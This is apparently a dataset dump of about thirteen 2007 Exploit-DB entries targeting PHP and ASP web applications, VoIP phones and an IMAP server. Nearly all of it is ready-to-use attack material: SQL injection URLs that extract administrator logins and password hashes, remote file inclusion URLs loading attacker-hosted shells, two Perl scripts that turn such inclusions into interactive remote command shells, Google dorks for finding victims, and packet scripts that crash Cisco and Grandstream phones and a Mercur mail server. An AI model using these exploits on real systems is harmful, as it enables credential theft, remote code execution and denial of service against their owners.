QLWD/code_shield huggingface dataset:
标题: PHP-revista 1.1.2 - Multiple SQL Injections EDB-ID: 3538 CVE: 2006-4606 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-21 漏洞利用脚本: php-revista <= 1.1.2  Remote SQL Injection Exploit

Found by & contact : Cold z3ro , cold-z3ro@hotmail.com

script :
http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&big_mirror=0


Exploits :
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/autor.php?id_autor=-12 union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/articulo.php?id_articulo=-12 union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from
autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/busqueda.php?cadena='+union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================
Http://www.Victem.0/revista/estilo/[STYLE]/lista.php?email='+union select null,email,login,pwd,null,null,null,null,null,null,null,null,null from autores where id =1 /*
==============================================================================

Styles names :
/discreet/
/galveston/
/mergedidea/
/Widget_Factory/
/Digital_Multiplex/
==========================================================================================================================================
----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             |The Sniper| | DearMan | |Pro Hackers| | 020 | | abdulla00 " alz3eem" | | The_Viper |Kof2002|
             All i know
==========================================================================================================================================


Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

Print :  Team Hell

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3538
标题: Mambo Component nfnaddressbook 0.4 - Remote File Inclusion EDB-ID: 3539 CVE: 2007-1596 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-21 漏洞利用脚本: ######################################################
#
# MAMBO & Joomla NFN Address Book v0.4 (nfnaddressbook.php) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/8191/com_nfn_addressbook.zip
#
######################################################
#
# About : The NFN Address Book manages lists of contacts that can be split into groups and allows for hiding of private contacts.
#          Unlike other address books it is owned by a Mambo user but the contacts are NOT Mambo users.
#
######################################################
#
# file :  nfnaddressbook.php
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once ( $mosConfig_absolute_path .  '/components/com_'._MISC_DB_PREFIX.'addressbook/functions.php' );
#
######################################################
# Exploit :
#
#   this usege : http://www.example.com/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
#           or : http://www.example.com/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3539
标题: Lms 1.8.9 - Vala Remote File Inclusion EDB-ID: 3545 CVE: 2007-1643 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-22 漏洞利用脚本: DEVIL TEAM - HACKING POLISH TEAM

Author: Kacper
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 
--------------------------------------------
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.


LMS <= 1.8.9 Vala Remote File Inclusion Vulnerabilities
script download/homepage: http://www.lms.org.pl/


--------------------------------------------
Vulnerabilities:

http://strona.pl/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=[evil_code]
http://strona.pl/lms_path/modules/welcome.php?_LIB_DIR=[evil_code]

# milw0rm.com [2007-03-22] URL: https://www.exploit-db.com/exploits/3545
标题: Active Photo Gallery - 'catid' SQL Injection EDB-ID: 3536 CVE: 2007-1629 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-21 漏洞利用脚本: #Title  : Active Photo Gallery Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivephotogallery
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?productid=11

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid=1
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid=1

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3536
标题: Active Link Engine - 'default.asp?catid' SQL Injection EDB-ID: 3534 CVE: 2007-1630 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-21 漏洞利用脚本: #Title  : Active Link Engine Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivelinkengine
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?ProductID=7

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid%20=%201
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid%20=%201

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3534
标题: Digital Eye CMS 0.1.1b - 'module.php' Remote File Inclusion EDB-ID: 3533 CVE: 2007-1600 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-21 漏洞利用脚本: ######################################################
#
# Digital Eye Gallery 1.1 Beta (module.php menu) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/7469/digital_eye_cms.1.1BETA.tar.gz
#
######################################################
#
# file :  /module.php
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once( $menu . '.php' );
#
######################################################
#
# exploit : http://www.example.com/digitaleye_Path/module.php?menu=Evil-script?
#
######################################################
#
#
#
----#  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
#              |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
#              |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
#              | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
#              All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3533
标题: PHPRaid < 3.0.7 - 'rss.php?PHPraid_dir' Remote File Inclusion EDB-ID: 3528 CVE: 2006-3317 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: #!/usr/bin/perl
# phpraid <= 3.x.x (rss.php) Remote File Inclusion Exploit
# Download Script : http://up.9q9q.net/up/index.php?f=994a86950
# Founded & Coded by: Cold z3ro , Cold-z3ro@hotmail.com
# Dork : inurl:"phpRaid" , "phpRaid" , "roster.php?Sort=Race"
# perl cold-z3ro.pl <target> <cmd shell location> <cmd shell variable>
# cmd shell example: <?passthru($_GET[cmd]);?>
# Exploit : http://www.example.com/phpRaid_path/rss.php?phpraid_dir=Evil-script?
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'rss.php?phpraid_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[....]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n======================Long Life My Home Land Palestine======================\r\n";
print "\r\n";
print "       * phpraid <= 3.x.x (rss.php) Remote File Inclusion Exploit *\r\n";
print "\r\n";
print "============================================================================\r\n";
}
sub usage()
{
head();
print "\r\n";
print "  Usage: perl Cold-z3ro.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n";
print "  <Victim> - Full path to example: http://www.site.com/phpRaid/ \r\n";
print "  <cmd shell> - Path to Cmd Shell e.g  http://b0rizq.by.ru/c99.txt? \r\n";
print "  <cmd variable> - Cmd Variable Used In Php Shell like [ id ]\r\n";
print "\r\n";
print "============================================================================\r\n";
print "\r\n";
print "                     found  And  Coded  By  Cold z3ro \r\n";
print "                       Cold-z3ro[at]hotmail[dot]com \r\n";
print "          Greetz To: www.milw0rm.com , www.hack-teach.com , www.4azhar.com \r\n";
print "                Dork : inurl:phpRaid , /roster.php?Sort=Race\r\n";
print "\r\n";
print "============================================================================\r\n";
exit();
}

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/3528
标题: PHP-Nuke Module htmltonuke 2.0alpha - 'htmltonuke.php' Remote File Inclusion EDB-ID: 3524 CVE: 2006-0308 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: ######################################################
#
# htmltonuke 2.0alpha for postnuke & PHP-Nuke(htmltonuke.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=ddAvVTUSs
#
######################################################
#
# file :  /htmltonuke.php
#
######################################################
#
# Dork : "/nuke/htmltonuke.php" - "htmltonuke.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/
#
######################################################
# //verifie s'il y a l'extension ".htm"
# if(substr($filnavn,-4)!=".htm" && substr($filnavn,-5)!=".html" ){
#       echo "Only files HTML are authorized...";
#       CloseTable();
#       include("footer.php");
# }
# else {
#       // verifie si l'on remonte dans l'arborescense
#       // verifie si l'on sort du site
#       if( substr($filnavn,0,5)!="./../" && substr($filnavn,0,7)!="http://" ){
#               include ($filnavn);
#               CloseTable();
#               include("footer.php");
#       }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################

----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper | All i know

#Big Thx For : www.4azhar.com ,  Long Life My HomeLand Palestine

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/3524
标题: Grandstream Budge Tone-200 IP Phone - Digest domain Denial of Service EDB-ID: 3535 CVE: 2007-1590 类型: DOS 平台: HARDWARE 发布日期: 2007-03-21 漏洞利用脚本: #!/usr/bin/perl
# MADYNES Security Advisory 
# http://madynes.loria.fr 
#
# Title: Grandstream Budge Tone-200 denial of service vulnerability 
#
# Release Date:  21/03/2007 
#
# Severity:      High - Denial of Service 
#
# Advisory ID:KIPH3 
#
# Hardware: Grandstream Budge Tone-200 IP Phone 
# http://www.grandstream.com/consumerphones.html 
#
# Affected Versions: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 
#
# Other versions maybe. 
#
# Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any 
# message with a "WWW-Authenticate" where the "Digest domain" is crafted 
# the device freezes provoking a DoS. 
#
# Impact: A remote individual can remotely crash and perform a Denial of 
# Service(DoS) attack in all the services provided by the software by 
# sending one crafted SIP INVITE message. This is conceptually similar to 
# the "ping of death". 
#
# Resolution: The vendor was contacted at multiple times, the complete 
# report was sent, but no feedback whatsoever resulted. 
#
# Vulnerability Description: the device reboots after a crafted INVITE 
# message had been sent. 
#
# Configuration of our device: 
#
# Software Version: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 
#
# IP-Address obtained by DHCP as 192.168.1.105 
#
# The configuration is the default 
#
# Vulnerability: 
#
# After sending a crafted INVITE, CANCEL or any message with a 
# "WWW-Authenticate" where the "Digest domain" is crafted the device 
# freezes provoking a DoS. 
#
# Credits:
# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
# This vulnerability was identified by the Madynes research team at INRIA
# Lorraine, using the Madynes VoIP fuzzer.
# http://madynes.loria.fr/
# Exploit: 
#
# To run the exploit the file invite_grandstream.pl should be launched 
# (assuming our configurations) as: 
#
# perl invite_grandstream.pl 192.168.1.105 5060 Fosforito 
#
# Proof of Concept Code: 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$AUTH = "WWW-Authenticate: Digest domain=\"/-+:\@=\$\%D6\$;\$=;=\$=\$,\@\$.=;\@;;,&&+:::=\@/2\$&;6+;+=\%A5==;\@:=;\$&\%A3:u,\@=\@;&;\@+::+&;+,,&/&\@=,;=&:&,=&:;:;;K+&\@=\%DA*\$;\@&+&:;/==\%37:\%A6;,\@\%ED,:=:\@,;\%DA;&\$)\$+=;+:\%FE\$:\@;&=,W;,g\%EF;\%FB:+\@O\$+\%AF+;+:,&=\%CA\%EA;\$,\@+/;\@,-;:;,P&\@;_\$:\%C7&+&/!,\%EE\$:,\@:;;\@&\@,+,z\@\$;\@\@\$\$::\@/=,\$3\%ED=\@+\%AE/=&\@;;\$;&\$\%FE:\@;\$+:\$\%EB\$=&:;&K&;:\@\%EA,=\%BA6\%21;=&:\$\"\r\n";

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=z9hG4bK056a27e7;rport\r\nFrom: <sip:tucu\@192.168.1.2>;tag=as011d1185\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;$TOTAG\r\n$AUTH\CSeq: 6106 INVITE\r\Max-Forwards: 70\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-21] URL: https://www.exploit-db.com/exploits/3535
标题: Mercur IMAPD 5.00.14 (Windows x86) - Remote Denial of Service EDB-ID: 3527 CVE: 2007-1578 类型: DOS 平台: WINDOWS_X86 发布日期: 2007-03-20 漏洞利用脚本: #!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");

    $buf = "1 AUTHENTICATE NTLM\r\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n"); 

    # src = "NTLMSSP....."
    $buf = "NTLMSSP".("A"x100);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    # memcpy(s, src+a, b);
    print("-> * Sending payload 2\n");
    $buf = "NTLMSSP".
           "\x69".
           "\x03\x00\x00\x00".
           "\xff\xff".         # b
           ("A"x2).
           "\x00\x00".         # a
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x04\x00".
           ("A"x6).
           "\x00\x80".
           ("A"x6).
           "\x04\x00".
           ("A"x12);

    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercur v5.00.14 (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/3527
标题: Monster Top List 1.4.2 - 'functions.php?root_path' Remote File Inclusion EDB-ID: 3530 CVE: 2006-1781 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: #!/usr/bin/perl
#
# Monster Top List <= 1.4.2 remote Command Execution Vulnerabilities
#
# Risk : High (Remote Code Execution)
#
# Url: http://www.monstertoplist.com
#
# Exploit:
#   http://site.com/[path]/sources/functions.php?root_path=[Evil_Script]
#
# (c)oded and f0und3d by fluffy_bunny
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
# t0 psyke[pwn]: "y0ur c0de suqz. y0ur s1t3 suqz. y0u sm3ll 0f sh33p f3c3z. 3y3 th1nk y0u n33d t0
#                t4k3 4n 0nl1n3 w3b d3s1gn c0urz3 0r s0m3th1ng. fuqn d0rk."

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ". Monster Top List <= 1.4.2 RFI spl0it                        .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET          .\n";
print ".       [c]oded by fluffy_bunny - mafia@google.ro             .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];    
chomp($shell);
    
$path = $path."/sources/functions.php";


sub usage(){
    print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
    print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
    print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
}

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?root_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/3530
标题: Cisco Phone 7940/7960 - 'SIP INVITE' Remote Denial of Service EDB-ID: 3526 CVE: 2007-1542 类型: DOS 平台: HARDWARE 发布日期: 2007-03-20 漏洞利用脚本: #!/usr/bin/perl
# Title: Cisco 7940 SIP INVITE remote DOS 
# Date: February 19, 2007 
# ID: KIPH2 
#
# Synopsis: After sending a cra fted INVITE message the device immediately 
# reboots. The phone does not check properly the sipURI field of the 
# Remote-Party-ID in the message. 
#
# The vendor was informed and acknowledged the vulnerability. This 
# vulnerability was identified by the Madynes research team at INRIA 
# Lorraine, using the Madynes VoIP fuzzer. 
#
# Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol 
# for VoIP signalization. SIP is an ASCII based INVITE message is used to 
# initiate and maintain a communication session. 
#
# Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00 
#
# Unaffected: devices running firmware POS8-6-0 
#
# Description: After receiving one crafted SIP INVITE message, the 
# affected device reboots immediately. The proof of concept code can be 
# used to demonstrate the vulnerability. 
#
# Resolution: 
#
# Fixed software is available from the vendor and customers following 
# recommended best practices (ie segregating VOIP traffic from data) will 
# be protected from malicious traffic in most situations. 
#
# Credits: 
#
# Humberto J. Abdelnur (Ph.D Student) 
#
# Radu State (Ph.D) 
#
# Olivier Festor (Ph.D) 
#
# This vulnerability was identified by the Madynes research team at INRIA 
#
# Lorraine, using the Madynes VoIP fuzzer. 
#
# http://madynes.loria.fr/ 

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/3526
标题: phpBB Minerva Mod 2.0.21 build 238a - SQL Injection EDB-ID: 3519 CVE: 2007-1555 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: ======================X=O=R=O=N=====================
+
+ PHPBB Minerva Mod <= 2.0.21 build 238a (forum.php) Remote SQL Injection Exploit
+
======================X=O=R=O=N=====================
+
+ Bulan: xoron
+
+ xoron.biz
+
======================X=O=R=O=N=====================
+
+ SQL INJ:
+
+ forum.php ?c=-1/**/UNION/**/SELECT/**/0,1,2,3,4,user_password,6/**/FROM/**/minerva_users%20where%20user_id=2/*
+
======================X=O=R=O=N=====================
+
+ Example: http://www.ayyquerico.com/Portal/
+
======================X=O=R=O=N=====================
+
+ Special thanx: ajann
+
======================X=O=R=O=N=====================

# milw0rm.com [2007-03-19] URL: https://www.exploit-db.com/exploits/3519